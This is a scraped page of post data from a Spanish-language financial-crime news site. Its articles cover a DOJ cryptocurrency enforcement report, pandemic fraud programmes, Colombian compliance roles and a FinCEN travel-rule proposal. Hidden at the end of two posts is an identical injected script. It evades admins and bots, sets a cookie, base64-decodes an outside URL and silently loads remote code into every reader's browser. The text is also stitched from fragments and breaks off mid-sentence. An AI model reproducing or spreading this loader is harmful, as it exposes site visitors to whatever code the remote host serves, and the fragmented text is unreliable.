https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra 